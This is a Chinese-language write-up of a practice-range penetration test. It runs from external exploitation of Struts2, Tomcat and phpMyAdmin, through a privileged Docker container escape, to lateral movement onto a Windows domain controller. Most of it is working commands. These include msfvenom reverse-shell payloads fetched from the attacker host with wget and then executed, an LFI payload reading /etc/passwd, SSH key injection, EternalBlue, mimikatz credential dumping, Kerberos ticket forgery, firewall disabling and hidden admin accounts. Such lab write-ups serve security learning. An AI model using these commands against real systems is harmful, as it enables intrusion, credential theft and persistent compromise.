记一次docker逃逸学习
字数 1500 2025-08-05 00:16:28
Docker逃逸与内网渗透实战教学文档
1. 环境搭建与目标识别
1.1 靶场环境
- 靶机系统: Ubuntu
- 网络配置:
- 内网IP: 192.168.183.10
- 外网IP: 192.168.1.6
- 域内主机:
- Win7: 192.168.183.129
- Win2008: 192.168.183.130 (域控)
- Docker服务端口:
- 2001: Struts2
- 2002: Tomcat8
- 2003: phpMyAdmin 4.8.1
2. 外网打点
2.1 端口扫描
使用Nmap进行初步扫描:
nmap -T4 -sC -sV 192.168.1.6
发现三个关键端口: 2001(Struts2), 2002(Tomcat8), 2003(phpMyAdmin)
2.2 Struts2漏洞利用(S2-046)
- 使用漏扫工具检测发现存在S2-045和S2-046漏洞
- S2-045尝试失败后,成功利用S2-046实现命令执行
- 尝试上传JSP webshell但路径访问失败
2.3 Tomcat8漏洞利用(CVE-2017-12617)
- 使用searchsploit查找Tomcat 8.5.19漏洞:
searchsploit tomcat 8.5.19
searchsploit -m /exploit/jsp/webapps/42966.py
- 验证漏洞存在:
python 42966.py -u http://192.168.1.6:2002/
- 执行攻击获取反弹shell:
python 42966.py -u http://192.168.1.6:2002/ -p pwn
- 生成Linux木马并上线MSF:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
python -m SimpleHTTPServer # 用于靶机下载
靶机执行:
wget http://192.168.1.10:8000/shell.elf
chmod 777 shell.elf
./shell.elf
MSF监听配置:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
run
2.4 phpMyAdmin漏洞利用(CVE-2018-12613)
- 文件包含漏洞分析:
- 需要满足五个条件绕过检查
- 关键点: 对
?进行二次编码(%253f)
- 构造payload读取文件:
index.php?target=db_sql.php%253f/etc/passwd
- 写入webshell:
- 先写入phpinfo获取session ID
- 构造payload包含session文件获取webshell
3. 内网渗透与Docker逃逸
3.1 信息收集
- 发现多个网络接口(eth0, eth1)和额外IP
- 确认处于Docker容器环境
3.2 Privileged特权模式逃逸
- 原理: Docker特权模式(--privileged)允许容器访问主机设备
- 操作步骤:
mkdir /tmptest # 创建挂载目录
mount /dev/sda1 /tmptest # 挂载主机磁盘
ls /tmptest # 查看主机文件系统
- SSH密钥注入:
ssh-keygen -f tmp # 生成密钥
chmod 600 tmp # 设置权限
# 写入主机authorized_keys
echo 'ssh-rsa AAAAB3Nza...' > /tmptest/home/ubuntu/.ssh/authorized_keys
- SSH连接宿主机:
ssh -i tmp ubuntu@192.168.1.6
3.3 上线宿主机到MSF
- 生成Linux木马并执行(同2.3步骤)
- 成功获取宿主机meterpreter会话
4. 内网横向移动
4.1 存活探测
- 添加路由:
route add 192.168.183.0 255.255.255.0 3
- 设置SOCKS代理:
use auxiliary/server/socks_proxy
set version 4a
run
- 使用proxychains扫描内网:
proxychains4 nmap -sT -Pn 192.168.183.1/24
或使用MSF模块:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run
4.2 永恒之蓝攻击(MS17-010)
- 攻击Win7(192.168.183.129):
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129
run
- 进程迁移到x64系统进程
- 信息收集:
chcp 65001 # 设置中文编码
net user
net view /domain
4.3 密码获取
- 使用mimikatz:
upload /path/to/mimikatz.exe
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
- 获取到域凭据:
douser/Dotest123
4.4 域控横向移动
- 使用MS14-068伪造票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
- 注入票据:
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache
- IPC连接域控:
net use \\WIN-ENS2VR5TR3N
- 上传并执行bind shell:
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe
copy bind.exe \\WIN-ENS2VR5TR3N\C$\Users\Desktop\
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
- 关闭域控防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
4.5 权限维持
- 添加隐藏用户:
net user admin$ qaz123!@# /add
net localgroup administrators admin$ /add
- 金票攻击(可选):
mimikatz # kerberos::golden /user:Administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:hash /ticket:golden.kirbi
5. 关键知识点总结
-
Docker逃逸技术:
- Privileged特权模式逃逸
- 挂载主机文件系统
- SSH密钥注入
-
漏洞利用链:
- Struts2 (S2-046)
- Tomcat (CVE-2017-12617)
- phpMyAdmin (CVE-2018-12613)
- MS17-010 (永恒之蓝)
- MS14-068 (Kerberos提权)
-
内网渗透技巧:
- 路由添加与SOCKS代理
- mimikatz密码提取
- 票据伪造与传递
- 隐藏用户创建
-
权限维持方法:
- 金票/银票攻击
- 隐藏用户
- 计划任务持久化
本教学文档详细记录了从外网打点到内网渗透,再到Docker逃逸和域控拿下的完整过程,涵盖了多个关键漏洞的利用方法和内网渗透技巧。